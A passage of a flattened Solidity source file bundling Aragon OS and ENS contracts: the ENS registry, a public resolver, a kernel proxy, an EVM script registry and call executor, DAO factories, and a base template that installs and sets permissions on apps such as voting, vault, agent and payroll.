function setTTL(bytes32 _node, uint64 _ttl) public;
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed _node, bytes32 indexed _label, address _owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed _node, address _owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed _node, address _resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed _node, uint64 _ttl);
}
// File: @aragon/os/contracts/lib/ens/ENS.sol
// See https://github.com/ensdomains/ens/blob/7e377df83f/contracts/ENS.sol
pragma solidity ^0.4.0;
/**
* The ENS registry contract.
*/
contract ENS is AbstractENS {
struct Record {
address owner;
address resolver;
uint64 ttl;
}
mapping(bytes32=>Record) records;
// Permits modifications only by the owner of the specified node.
modifier only_owner(bytes32 node) {
if (records[node].owner != msg.sender) throw;
_;
}
/**
* Constructs a new ENS registrar.
*/
function ENS() public {
records[0].owner = msg.sender;
}
/**
* Returns the address that owns the specified node.
*/
function owner(bytes32 node) public constant returns (address) {
return records[node].owner;
}
/**
* Returns the address of the resolver for the specified node.
*/
function resolver(bytes32 node) public constant returns (address) {
return records[node].resolver;
}
/**
* Returns the TTL of a node, and any records associated with it.
*/
function ttl(bytes32 node) public constant returns (uint64) {
return records[node].ttl;
}
/**
* Transfers ownership of a node to a new address. May only be called by the current
* owner of the node.
* @param node The node to transfer ownership of.
* @param owner The address of the new owner.
*/
function setOwner(bytes32 node, address owner) only_owner(node) public {
Transfer(node, owner);
records[node].owner = owner;
}
/**
* Transfers ownership of a subnode keccak256(node, label) to a new address. May only be
* called by the owner of the parent node.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
*/
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) only_owner(node) public {
var subnode = keccak256(node, label);
NewOwner(node, label, owner);
records[subnode].owner = owner;
}
/**
* Sets the resolver address for the specified node.
* @param node The node to update.
* @param resolver The address of the resolver.
*/
function setResolver(bytes32 node, address resolver) only_owner(node) public {
NewResolver(node, resolver);
records[node].resolver = resolver;
}
/**
* Sets the TTL for the specified node.
* @param node The node to update.
* @param ttl The TTL in seconds.
*/
function setTTL(bytes32 node, uint64 ttl) only_owner(node) public {
NewTTL(node, ttl);
records[node].ttl = ttl;
}
}
// File: @aragon/os/contracts/lib/ens/PublicResolver.sol
// See https://github.com/ensdomains/ens/blob/7e377df83f/contracts/PublicResolver.sol
pragma solidity ^0.4.0;
/**
* A simple resolver anyone can use; only allows the owner of a node to set its
* address.
*/
contract PublicResolver {
bytes4 constant INTERFACE_META_ID = 0x01ffc9a7;
bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5;
bytes4 constant NAME_INTERFACE_ID = 0x691f3431;
bytes4 constant ABI_INTERFACE_ID = 0x2203ab56;
bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233;
bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c;
event AddrChanged(bytes32 indexed node, address a);
event ContentChanged(bytes32 indexed node, bytes32 hash);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexed indexedKey, string key);
struct PublicKey {
bytes32 x;
bytes32 y;
}
struct Record {
address addr;
bytes32 content;
string name;
PublicKey pubkey;
mapping(string=>string) text;
mapping(uint256=>bytes) abis;
}
AbstractENS ens;
mapping(bytes32=>Record) records;
modifier only_owner(bytes32 node) {
if (ens.owner(node) != msg.sender) throw;
_;
}
/**
* Constructor.
* @param ensAddr The ENS registrar contract.
*/
function PublicResolver(AbstractENS ensAddr) public {
ens = ensAddr;
}
/**
* Returns true if the resolver implements the interface specified by the provided hash.
* @param interfaceID The ID of the interface to check for.
* @return True if the contract implements the requested interface.
*/
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
return interfaceID == ADDR_INTERFACE_ID ||
interfaceID == CONTENT_INTERFACE_ID ||
interfaceID == NAME_INTERFACE_ID ||
interfaceID == ABI_INTERFACE_ID ||
interfaceID == PUBKEY_INTERFACE_ID ||
interfaceID == TEXT_INTERFACE_ID ||
interfaceID == INTERFACE_META_ID;
}
/**
* Returns the address associated with an ENS node.
* @param node The ENS node to query.
* @return The associated address.
*/
function addr(bytes32 node) public constant returns (address ret) {
ret = records[node].addr;
}
/**
* Sets the address associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param addr The address to set.
*/
function setAddr(bytes32 node, address addr) only_owner(node) public {
records[node].addr = addr;
AddrChanged(node, addr);
}
/**
* Returns the content hash associated with an ENS node.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The ENS node to query.
* @return The associated content hash.
*/
function content(bytes32 node) public constant returns (bytes32 ret) {
ret = records[node].content;
}
/**
* Sets the content hash associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The node to update.
* @param hash The content hash to set
*/
function setContent(bytes32 node, bytes32 hash) only_owner(node) public {
records[node].content = hash;
ContentChanged(node, hash);
}
/**
* Returns the name associated with an ENS node, for reverse records.
* Defined in EIP181.
* @param node The ENS node to query.
* @return The associated name.
*/
function name(bytes32 node) public constant returns (string ret) {
ret = records[node].name;
}
/**
* Sets the name associated with an ENS node, for reverse records.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param name The name to set.
*/
function setName(bytes32 node, string name) only_owner(node) public {
records[node].name = name;
NameChanged(node, name);
}
/**
* Returns the ABI associated with an ENS node.
* Defined in EIP205.
* @param node The ENS node to query
* @param contentTypes A bitwise OR of the ABI formats accepted by the caller.
* @return contentType The content type of the return value
* @return data The ABI data
*/
function ABI(bytes32 node, uint256 contentTypes) public constant returns (uint256 contentType, bytes data) {
var record = records[node];
for(contentType = 1; contentType <= contentTypes; contentType <<= 1) {
if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) {
data = record.abis[contentType];
return;
}
}
contentType = 0;
}
/**
* Sets the ABI associated with an ENS node.
* Nodes may have one ABI of each content type. To remove an ABI, set it to
* the empty string.
* @param node The node to update.
* @param contentType The content type of the ABI
* @param data The ABI data.
*/
function setABI(bytes32 node, uint256 contentType, bytes data) only_owner(node) public {
// Content types must be powers of 2
if (((contentType - 1) & contentType) != 0) throw;
records[node].abis[contentType] = data;
ABIChanged(node, contentType);
}
/**
* Returns the SECP256k1 public key associated with an ENS node.
* Defined in EIP 619.
* @param node The ENS node to query
* @return x, y the X and Y coordinates of the curve point for the public key.
*/
function pubkey(bytes32 node) public constant returns (bytes32 x, bytes32 y) {
return (records[node].pubkey.x, records[node].pubkey.y);
}
/**
* Sets the SECP256k1 public key associated with an ENS node.
* @param node The ENS node to query
* @param x the X coordinate of the curve point for the public key.
* @param y the Y coordinate of the curve point for the public key.
*/
function setPubkey(bytes32 node, bytes32 x, bytes32 y) only_owner(node) public {
records[node].pubkey = PublicKey(x, y);
PubkeyChanged(node, x, y);
}
/**
* Returns the text data associated with an ENS node and key.
* @param node The ENS node to query.
* @param key The text data key to query.
* @return The associated text data.
*/
function text(bytes32 node, string key) public constant returns (string ret) {
ret = records[node].text[key];
}
/**
* Sets the text data associated with an ENS node and key.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param key The key to set.
* @param value The text data value to set.
*/
function setText(bytes32 node, string key, string value) only_owner(node) public {
records[node].text[key] = value;
TextChanged(node, key, key);
}
}
// File: @aragon/os/contracts/kernel/KernelProxy.sol
pragma solidity 0.4.24;
contract KernelProxy is IKernelEvents, KernelStorage, KernelAppIds, KernelNamespaceConstants, IsContract, DepositableDelegateProxy {
/**
* @dev KernelProxy is a proxy contract to a kernel implementation. The implementation
* can update the reference, which effectively upgrades the contract
* @param _kernelImpl Address of the contract used as implementation for kernel
*/
constructor(IKernel _kernelImpl) public {
require(isContract(address(_kernelImpl)));
apps[KERNEL_CORE_NAMESPACE][KERNEL_CORE_APP_ID] = _kernelImpl;
// Note that emitting this event is important for verifying that a KernelProxy instance
// was never upgraded to a malicious Kernel logic contract over its lifespan.
// This starts the "chain of trust", that can be followed through later SetApp() events
// emitted during kernel upgrades.
emit SetApp(KERNEL_CORE_NAMESPACE, KERNEL_CORE_APP_ID, _kernelImpl);
}
/**
* @dev ERC897, whether it is a forwarding (1) or an upgradeable (2) proxy
*/
function proxyType() public pure returns (uint256 proxyTypeId) {
return UPGRADEABLE;
}
/**
* @dev ERC897, the address the proxy would delegate calls to
*/
function implementation() public view returns (address) {
return apps[KERNEL_CORE_NAMESPACE][KERNEL_CORE_APP_ID];
}
}
// File: @aragon/os/contracts/evmscript/ScriptHelpers.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
library ScriptHelpers {
function getSpecId(bytes _script) internal pure returns (uint32) {
return uint32At(_script, 0);
}
function uint256At(bytes _data, uint256 _location) internal pure returns (uint256 result) {
assembly {
result := mload(add(_data, add(0x20, _location)))
}
}
function addressAt(bytes _data, uint256 _location) internal pure returns (address result) {
uint256 word = uint256At(_data, _location);
assembly {
result := div(and(word, 0xffffffffffffffffffffffffffffffffffffffff000000000000000000000000),
0x1000000000000000000000000)
}
}
function uint32At(bytes _data, uint256 _location) internal pure returns (uint32 result) {
uint256 word = uint256At(_data, _location);
assembly {
result := div(and(word, 0xffffffff00000000000000000000000000000000000000000000000000000000),
0x100000000000000000000000000000000000000000000000000000000)
}
}
function locationOf(bytes _data, uint256 _location) internal pure returns (uint256 result) {
assembly {
result := add(_data, add(0x20, _location))
}
}
function toBytes(bytes4 _sig) internal pure returns (bytes) {
bytes memory payload = new bytes(4);
assembly { mstore(add(payload, 0x20), _sig) }
return payload;
}
}
// File: @aragon/os/contracts/evmscript/EVMScriptRegistry.sol
pragma solidity 0.4.24;
/* solium-disable function-order */
// Allow public initialize() to be first
contract EVMScriptRegistry is IEVMScriptRegistry, EVMScriptRegistryConstants, AragonApp {
using ScriptHelpers for bytes;
/* Hardcoded constants to save gas
bytes32 public constant REGISTRY_ADD_EXECUTOR_ROLE = keccak256("REGISTRY_ADD_EXECUTOR_ROLE");
bytes32 public constant REGISTRY_MANAGER_ROLE = keccak256("REGISTRY_MANAGER_ROLE");
*/
bytes32 public constant REGISTRY_ADD_EXECUTOR_ROLE = 0xc4e90f38eea8c4212a009ca7b8947943ba4d4a58d19b683417f65291d1cd9ed2;
// WARN: Manager can censor all votes and the like happening in an org
bytes32 public constant REGISTRY_MANAGER_ROLE = 0xf7a450ef335e1892cb42c8ca72e7242359d7711924b75db5717410da3f614aa3;
uint256 internal constant SCRIPT_START_LOCATION = 4;
string private constant ERROR_INEXISTENT_EXECUTOR = "EVMREG_INEXISTENT_EXECUTOR";
string private constant ERROR_EXECUTOR_ENABLED = "EVMREG_EXECUTOR_ENABLED";
string private constant ERROR_EXECUTOR_DISABLED = "EVMREG_EXECUTOR_DISABLED";
string private constant ERROR_SCRIPT_LENGTH_TOO_SHORT = "EVMREG_SCRIPT_LENGTH_TOO_SHORT";
struct ExecutorEntry {
IEVMScriptExecutor executor;
bool enabled;
}
uint256 private executorsNextIndex;
mapping (uint256 => ExecutorEntry) public executors;
event EnableExecutor(uint256 indexed executorId, address indexed executorAddress);
event DisableExecutor(uint256 indexed executorId, address indexed executorAddress);
modifier executorExists(uint256 _executorId) {
require(_executorId > 0 && _executorId < executorsNextIndex, ERROR_INEXISTENT_EXECUTOR);
_;
}
/**
* @notice Initialize the registry
*/
function initialize() public onlyInit {
initialized();
// Create empty record to begin executor IDs at 1
executorsNextIndex = 1;
}
/**
* @notice Add a new script executor with address `_executor` to the registry
* @param _executor Address of the IEVMScriptExecutor that will be added to the registry
* @return id Identifier of the executor in the registry
*/
function addScriptExecutor(IEVMScriptExecutor _executor) external auth(REGISTRY_ADD_EXECUTOR_ROLE) returns (uint256 id) {
uint256 executorId = executorsNextIndex++;
executors[executorId] = ExecutorEntry(_executor, true);
emit EnableExecutor(executorId, _executor);
return executorId;
}
/**
* @notice Disable script executor with ID `_executorId`
* @param _executorId Identifier of the executor in the registry
*/
function disableScriptExecutor(uint256 _executorId)
external
authP(REGISTRY_MANAGER_ROLE, arr(_executorId))
{
// Note that we don't need to check for an executor's existence in this case, as only
// existing executors can be enabled
ExecutorEntry storage executorEntry = executors[_executorId];
require(executorEntry.enabled, ERROR_EXECUTOR_DISABLED);
executorEntry.enabled = false;
emit DisableExecutor(_executorId, executorEntry.executor);
}
/**
* @notice Enable script executor with ID `_executorId`
* @param _executorId Identifier of the executor in the registry
*/
function enableScriptExecutor(uint256 _executorId)
external
authP(REGISTRY_MANAGER_ROLE, arr(_executorId))
executorExists(_executorId)
{
ExecutorEntry storage executorEntry = executors[_executorId];
require(!executorEntry.enabled, ERROR_EXECUTOR_ENABLED);
executorEntry.enabled = true;
emit EnableExecutor(_executorId, executorEntry.executor);
}
/**
* @dev Get the script executor that can execute a particular script based on its first 4 bytes
* @param _script EVMScript being inspected
*/
function getScriptExecutor(bytes _script) public view returns (IEVMScriptExecutor) {
require(_script.length >= SCRIPT_START_LOCATION, ERROR_SCRIPT_LENGTH_TOO_SHORT);
uint256 id = _script.getSpecId();
// Note that we don't need to check for an executor's existence in this case, as only
// existing executors can be enabled
ExecutorEntry storage entry = executors[id];
return entry.enabled ? entry.executor : IEVMScriptExecutor(0);
}
}
// File: @aragon/os/contracts/evmscript/executors/BaseEVMScriptExecutor.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.4.24;
contract BaseEVMScriptExecutor is IEVMScriptExecutor, Autopetrified {
uint256 internal constant SCRIPT_START_LOCATION = 4;
}
// File: @aragon/os/contracts/evmscript/executors/CallsScript.sol
pragma solidity 0.4.24;
// Inspired by https://github.com/reverendus/tx-manager
contract CallsScript is BaseEVMScriptExecutor {
using ScriptHelpers for bytes;
/* Hardcoded constants to save gas
bytes32 internal constant EXECUTOR_TYPE = keccak256("CALLS_SCRIPT");
*/
bytes32 internal constant EXECUTOR_TYPE = 0x2dc858a00f3e417be1394b87c07158e989ec681ce8cc68a9093680ac1a870302;
string private constant ERROR_BLACKLISTED_CALL = "EVMCALLS_BLACKLISTED_CALL";
string private constant ERROR_INVALID_LENGTH = "EVMCALLS_INVALID_LENGTH";
/* This is manually crafted in assembly
string private constant ERROR_CALL_REVERTED = "EVMCALLS_CALL_REVERTED";
*/
event LogScriptCall(address indexed sender, address indexed src, address indexed dst);
/**
* @notice Executes a number of call scripts
* @param _script [ specId (uint32) ] many calls with this structure ->
* [ to (address: 20 bytes) ] [ calldataLength (uint32: 4 bytes) ] [ calldata (calldataLength bytes) ]
* @param _blacklist Addresses the script cannot call to, or will revert.
* @return Always returns empty byte array
*/
function execScript(bytes _script, bytes, address[] _blacklist) external isInitialized returns (bytes) {
uint256 location = SCRIPT_START_LOCATION; // first 32 bits are spec id
while (location < _script.length) {
// Check there's at least address + calldataLength available
require(_script.length - location >= 0x18, ERROR_INVALID_LENGTH);
address contractAddress = _script.addressAt(location);
// Check address being called is not blacklist
for (uint256 i = 0; i < _blacklist.length; i++) {
require(contractAddress != _blacklist[i], ERROR_BLACKLISTED_CALL);
}
// logged before execution to ensure event ordering in receipt
// if failed entire execution is reverted regardless
emit LogScriptCall(msg.sender, address(this), contractAddress);
uint256 calldataLength = uint256(_script.uint32At(location + 0x14));
uint256 startOffset = location + 0x14 + 0x04;
uint256 calldataStart = _script.locationOf(startOffset);
// compute end of script / next location
location = startOffset + calldataLength;
require(location <= _script.length, ERROR_INVALID_LENGTH);
bool success;
assembly {
success := call(
sub(gas, 5000), // forward gas left - 5000
contractAddress, // address
0, // no value
calldataStart, // calldata start
calldataLength, // calldata length
0, // don't write output
0 // don't write output
)
switch success
case 0 {
let ptr := mload(0x40)
switch returndatasize
case 0 {
// No error data was returned, revert with "EVMCALLS_CALL_REVERTED"
// See remix: doing a `revert("EVMCALLS_CALL_REVERTED")` always results in
// this memory layout
mstore(ptr, 0x08c379a000000000000000000000000000000000000000000000000000000000) // error identifier
mstore(add(ptr, 0x04), 0x0000000000000000000000000000000000000000000000000000000000000020) // starting offset
mstore(add(ptr, 0x24), 0x0000000000000000000000000000000000000000000000000000000000000016) // reason length
mstore(add(ptr, 0x44), 0x45564d43414c4c535f43414c4c5f524556455254454400000000000000000000) // reason
revert(ptr, 100) // 100 = 4 + 3 * 32 (error identifier + 3 words for the ABI encoded error)
}
default {
// Forward the full error data
returndatacopy(ptr, 0, returndatasize)
revert(ptr, returndatasize)
}
}
default { }
}
}
// No need to allocate empty bytes for the return as this can only be called via an delegatecall
// (due to the isInitialized modifier)
}
function executorType() external pure returns (bytes32) {
return EXECUTOR_TYPE;
}
}
// File: @aragon/os/contracts/factory/EVMScriptRegistryFactory.sol
pragma solidity 0.4.24;
contract EVMScriptRegistryFactory is EVMScriptRegistryConstants {
EVMScriptRegistry public baseReg;
IEVMScriptExecutor public baseCallScript;
/**
* @notice Create a new EVMScriptRegistryFactory.
*/
constructor() public {
baseReg = new EVMScriptRegistry();
baseCallScript = IEVMScriptExecutor(new CallsScript());
}
/**
* @notice Install a new pinned instance of EVMScriptRegistry on `_dao`.
* @param _dao Kernel
* @return Installed EVMScriptRegistry
*/
function newEVMScriptRegistry(Kernel _dao) public returns (EVMScriptRegistry reg) {
bytes memory initPayload = abi.encodeWithSelector(reg.initialize.selector);
reg = EVMScriptRegistry(_dao.newPinnedAppInstance(EVMSCRIPT_REGISTRY_APP_ID, baseReg, initPayload, true));
ACL acl = ACL(_dao.acl());
acl.createPermission(this, reg, reg.REGISTRY_ADD_EXECUTOR_ROLE(), this);
reg.addScriptExecutor(baseCallScript); // spec 1 = CallsScript
// Clean up the permissions
acl.revokePermission(this, reg, reg.REGISTRY_ADD_EXECUTOR_ROLE());
acl.removePermissionManager(reg, reg.REGISTRY_ADD_EXECUTOR_ROLE());
return reg;
}
}
// File: @aragon/os/contracts/factory/DAOFactory.sol
pragma solidity 0.4.24;
contract DAOFactory {
IKernel public baseKernel;
IACL public baseACL;
EVMScriptRegistryFactory public regFactory;
event DeployDAO(address dao);
event DeployEVMScriptRegistry(address reg);
/**
* @notice Create a new DAOFactory, creating DAOs with Kernels proxied to `_baseKernel`, ACLs proxied to `_baseACL`, and new EVMScriptRegistries created from `_regFactory`.
* @param _baseKernel Base Kernel
* @param _baseACL Base ACL
* @param _regFactory EVMScriptRegistry factory
*/
constructor(IKernel _baseKernel, IACL _baseACL, EVMScriptRegistryFactory _regFactory) public {
// No need to init as it cannot be killed by devops199
if (address(_regFactory) != address(0)) {
regFactory = _regFactory;
}
baseKernel = _baseKernel;
baseACL = _baseACL;
}
/**
* @notice Create a new DAO with `_root` set as the initial admin
* @param _root Address that will be granted control to setup DAO permissions
* @return Newly created DAO
*/
function newDAO(address _root) public returns (Kernel) {
Kernel dao = Kernel(new KernelProxy(baseKernel));
if (address(regFactory) == address(0)) {
dao.initialize(baseACL, _root);
} else {
dao.initialize(baseACL, this);
ACL acl = ACL(dao.acl());
bytes32 permRole = acl.CREATE_PERMISSIONS_ROLE();
bytes32 appManagerRole = dao.APP_MANAGER_ROLE();
acl.grantPermission(regFactory, acl, permRole);
acl.createPermission(regFactory, dao, appManagerRole, this);
EVMScriptRegistry reg = regFactory.newEVMScriptRegistry(dao);
emit DeployEVMScriptRegistry(address(reg));
// Clean up permissions
// First, completely reset the APP_MANAGER_ROLE
acl.revokePermission(regFactory, dao, appManagerRole);
acl.removePermissionManager(dao, appManagerRole);
// Then, make root the only holder and manager of CREATE_PERMISSIONS_ROLE
acl.revokePermission(regFactory, acl, permRole);
acl.revokePermission(this, acl, permRole);
acl.grantPermission(_root, acl, permRole);
acl.setPermissionManager(_root, acl, permRole);
}
emit DeployDAO(address(dao));
return dao;
}
}
// File: @aragon/id/contracts/ens/IPublicResolver.sol
pragma solidity ^0.4.0;
interface IPublicResolver {
function supportsInterface(bytes4 interfaceID) constant returns (bool);
function addr(bytes32 node) constant returns (address ret);
function setAddr(bytes32 node, address addr);
function hash(bytes32 node) constant returns (bytes32 ret);
function setHash(bytes32 node, bytes32 hash);
}
// File: @aragon/id/contracts/IFIFSResolvingRegistrar.sol
pragma solidity 0.4.24;
interface IFIFSResolvingRegistrar {
function register(bytes32 _subnode, address _owner) external;
function registerWithResolver(bytes32 _subnode, address _owner, IPublicResolver _resolver) public;
}
// File: @aragon/templates-shared/contracts/BaseTemplate.sol
pragma solidity 0.4.24;
contract BaseTemplate is APMNamehash, IsContract {
using Uint256Helpers for uint256;
/* Hardcoded constant to save gas
* bytes32 constant internal AGENT_APP_ID = apmNamehash("agent"); // agent.aragonpm.eth
* bytes32 constant internal VAULT_APP_ID = apmNamehash("vault"); // vault.aragonpm.eth
* bytes32 constant internal VOTING_APP_ID = apmNamehash("voting"); // voting.aragonpm.eth
* bytes32 constant internal SURVEY_APP_ID = apmNamehash("survey"); // survey.aragonpm.eth
* bytes32 constant internal PAYROLL_APP_ID = apmNamehash("payroll"); // payroll.aragonpm.eth
* bytes32 constant internal FINANCE_APP_ID = apmNamehash("finance"); // finance.aragonpm.eth
* bytes32 constant internal TOKEN_MANAGER_APP_ID = apmNamehash("token-manager"); // token-manager.aragonpm.eth
*/
bytes32 constant internal AGENT_APP_ID = 0x9ac98dc5f995bf0211ed589ef022719d1487e5cb2bab505676f0d084c07cf89a;
bytes32 constant internal VAULT_APP_ID = 0x7e852e0fcfce6551c13800f1e7476f982525c2b5277ba14b24339c68416336d1;
bytes32 constant internal VOTING_APP_ID = 0x9fa3927f639745e587912d4b0fea7ef9013bf93fb907d29faeab57417ba6e1d4;
bytes32 constant internal PAYROLL_APP_ID = 0x463f596a96d808cb28b5d080181e4a398bc793df2c222f6445189eb801001991;
bytes32 constant internal FINANCE_APP_ID = 0xbf8491150dafc5dcaee5b861414dca922de09ccffa344964ae167212e8c673ae;
bytes32 constant internal TOKEN_MANAGER_APP_ID = 0x6b20a3010614eeebf2138ccec99f028a61c811b3b1a3343b6ff635985c75c91f;
bytes32 constant internal SURVEY_APP_ID = 0x030b2ab880b88e228f2da5a3d19a2a31bc10dbf91fb1143776a6de489389471e;
string constant private ERROR_ENS_NOT_CONTRACT = "TEMPLATE_ENS_NOT_CONTRACT";
string constant private ERROR_DAO_FACTORY_NOT_CONTRACT = "TEMPLATE_DAO_FAC_NOT_CONTRACT";
string constant private ERROR_ARAGON_ID_NOT_PROVIDED = "TEMPLATE_ARAGON_ID_NOT_PROVIDED";
string constant private ERROR_ARAGON_ID_NOT_CONTRACT = "TEMPLATE_ARAGON_ID_NOT_CONTRACT";
string constant private ERROR_MINIME_FACTORY_NOT_PROVIDED = "TEMPLATE_MINIME_FAC_NOT_PROVIDED";
string constant private ERROR_MINIME_FACTORY_NOT_CONTRACT = "TEMPLATE_MINIME_FAC_NOT_CONTRACT";
string constant private ERROR_CANNOT_CAST_VALUE_TO_ADDRESS = "TEMPLATE_CANNOT_CAST_VALUE_TO_ADDRESS";
string constant private ERROR_INVALID_ID = "TEMPLATE_INVALID_ID";
ENS internal ens;
DAOFactory internal daoFactory;
MiniMeTokenFactory internal miniMeFactory;
IFIFSResolvingRegistrar internal aragonID;
event DeployDao(address dao);
event SetupDao(address dao);
event DeployToken(address token);
event InstalledApp(address appProxy, bytes32 appId);
constructor(DAOFactory _daoFactory, ENS _ens, MiniMeTokenFactory _miniMeFactory, IFIFSResolvingRegistrar _aragonID) public {
require(isContract(address(_ens)), ERROR_ENS_NOT_CONTRACT);
require(isContract(address(_daoFactory)), ERROR_DAO_FACTORY_NOT_CONTRACT);
ens = _ens;
aragonID = _aragonID;
daoFactory = _daoFactory;
miniMeFactory = _miniMeFactory;
}
/**
* @dev Create a DAO using the DAO Factory and grant the template root permissions so it has full
* control during setup. Once the DAO setup has finished, it is recommended to call the
* `_transferRootPermissionsFromTemplateAndFinalizeDAO()` helper to transfer the root
* permissions to the end entity in control of the organization.
*/
function _createDAO() internal returns (Kernel dao, ACL acl) {
dao = daoFactory.newDAO(this);
emit DeployDao(address(dao));
acl = ACL(dao.acl());
_createPermissionForTemplate(acl, dao, dao.APP_MANAGER_ROLE());
}
/* ACL */
function _createPermissions(ACL _acl, address[] memory _grantees, address _app, bytes32 _permission, address _manager) internal {
_acl.createPermission(_grantees[0], _app, _permission, address(this));
for (uint256 i = 1; i < _grantees.length; i++) {
_acl.grantPermission(_grantees[i], _app, _permission);
}
_acl.revokePermission(address(this), _app, _permission);
_acl.setPermissionManager(_manager, _app, _permission);
}
function _createPermissionForTemplate(ACL _acl, address _app, bytes32 _permission) internal {
_acl.createPermission(address(this), _app, _permission, address(this));
}
function _removePermissionFromTemplate(ACL _acl, address _app, bytes32 _permission) internal {
_acl.revokePermission(address(this), _app, _permission);
_acl.removePermissionManager(_app, _permission);
}
function _transferRootPermissionsFromTemplateAndFinalizeDAO(Kernel _dao, address _to) internal {
_transferRootPermissionsFromTemplateAndFinalizeDAO(_dao, _to, _to);
}
function _transferRootPermissionsFromTemplateAndFinalizeDAO(Kernel _dao, address _to, address _manager) internal {
ACL _acl = ACL(_dao.acl());
_transferPermissionFromTemplate(_acl, _dao, _to, _dao.APP_MANAGER_ROLE(), _manager);
_transferPermissionFromTemplate(_acl, _acl, _to, _acl.CREATE_PERMISSIONS_ROLE(), _manager);
emit SetupDao(_dao);
}
function _transferPermissionFromTemplate(ACL _acl, address _app, address _to, bytes32 _permission, address _manager) internal {
_acl.grantPermission(_to, _app, _permission);
_acl.revokePermission(address(this), _app, _permission);
_acl.setPermissionManager(_manager, _app, _permission);
}
/* AGENT */
function _installDefaultAgentApp(Kernel _dao) internal returns (Agent) {
bytes memory initializeData = abi.encodeWithSelector(Agent(0).initialize.selector);
Agent agent = Agent(_installDefaultApp(_dao, AGENT_APP_ID, initializeData));
// We assume that installing the Agent app as a default app means the DAO should have its
// Vault replaced by the Agent. Thus, we also set the DAO's recovery app to the Agent.
_dao.setRecoveryVaultAppId(AGENT_APP_ID);
return agent;
}
function _installNonDefaultAgentApp(Kernel _dao) internal returns (Agent) {
bytes memory initializeData = abi.encodeWithSelector(Agent(0).initialize.selector);
return Agent(_installNonDefaultApp(_dao, AGENT_APP_ID, initializeData));
}
function _createAgentPermissions(ACL _acl, Agent _agent, address _grantee, address _manager) internal {
_acl.createPermission(_grantee, _agent, _agent.EXECUTE_ROLE(), _manager);
_acl.createPermission(_grantee, _agent, _agent.RUN_SCRIPT_ROLE(), _manager);
}
/* VAULT */
function _installVaultApp(Kernel _dao) internal returns (Vault) {
bytes memory initializeData = abi.encodeWithSelector(Vault(0).initialize.selector);
return Vault(_installDefaultApp(_dao, VAULT_APP_ID, initializeData));
}
function _createVaultPermissions(ACL _acl, Vault _vault, address _grantee, address _manager) internal {
_acl.createPermission(_grantee, _vault, _vault.TRANSFER_ROLE(), _manager);
}
/* VOTING */
function _installVotingApp(Kernel _dao, MiniMeToken _token, uint64[3] memory _votingSettings) internal returns (Voting) {
return _installVotingApp(_dao, _token, _votingSettings[0], _votingSettings[1], _votingSettings[2]);
}
function _installVotingApp(
Kernel _dao,
MiniMeToken _token,
uint64 _support,
uint64 _acceptance,
uint64 _duration
)
internal returns (Voting)
{
bytes memory initializeData = abi.encodeWithSelector(Voting(0).initialize.selector, _token, _support, _acceptance, _duration);
return Voting(_installNonDefaultApp(_dao, VOTING_APP_ID, initializeData));
}
function _createVotingPermissions(
ACL _acl,
Voting _voting,
address _settingsGrantee,
address _createVotesGrantee,
address _manager
)
internal
{
_acl.createPermission(_settingsGrantee, _voting, _voting.MODIFY_QUORUM_ROLE(), _manager);
_acl.createPermission(_settingsGrantee, _voting, _voting.MODIFY_SUPPORT_ROLE(), _manager);
_acl.createPermission(_createVotesGrantee, _voting, _voting.CREATE_VOTES_ROLE(), _manager);
}
/* SURVEY */
function _installSurveyApp(Kernel _dao, MiniMeToken _token, uint64 _minParticipationPct, uint64 _surveyTime) internal returns (Survey) {
bytes memory initializeData = abi.encodeWithSelector(Survey(0).initialize.selector, _token, _minParticipationPct, _surveyTime);
return Survey(_installNonDefaultApp(_dao, SURVEY_APP_ID, initializeData));
}
function _createSurveyPermissions(ACL _acl, Survey _survey, address _grantee, address _manager) internal {
_acl.createPermission(_grantee, _survey, _survey.CREATE_SURVEYS_ROLE(), _manager);
_acl.createPermission(_grantee, _survey, _survey.MODIFY_PARTICIPATION_ROLE(), _manager);
}
/* PAYROLL */
function _installPayrollApp(
Kernel _dao,
Finance _finance,
address _denominationToken,
IFeed _priceFeed,
uint64 _rateExpiryTime
)
internal returns (Payroll)
{
bytes memory initializeData = abi.encodeWithSelector(
Payroll(0).initialize.selector,
_finance,
_denominationToken,
_priceFeed,
_rateExpiryTime
);
return Payroll(_installNonDefaultApp(_dao, PAYROLL_APP_ID, initializeData));
}
/**
* @dev Internal function to configure payroll permissions. Note that we allow defining different managers for
* payroll since it may be useful to have one control the payroll settings (rate expiration, price feed,
* and allowed tokens), and another one to control the employee functionality (bonuses, salaries,
* reimbursements, employees, etc).
* @param _acl ACL instance being configured
* @param _acl Payroll app being configured
* @param _employeeManager Address that will receive permissions to handle employee payroll functionality
* @param _settingsManager Address that will receive permissions to manage payroll settings
* @param _permissionsManager Address that will be the ACL manager for the payroll permissions
*/
function _createPayrollPermissions(
ACL _acl,
Payroll _payroll,
address _employeeManager,
address _settingsManager,
address _permissionsManager
)
internal
{
_acl.createPermission(_employeeManager, _payroll, _payroll.ADD_BONUS_ROLE(), _permissionsManager);
_acl.createPermission(_employeeManager, _payroll, _payroll.ADD_EMPLOYEE_ROLE(), _permissionsManager);
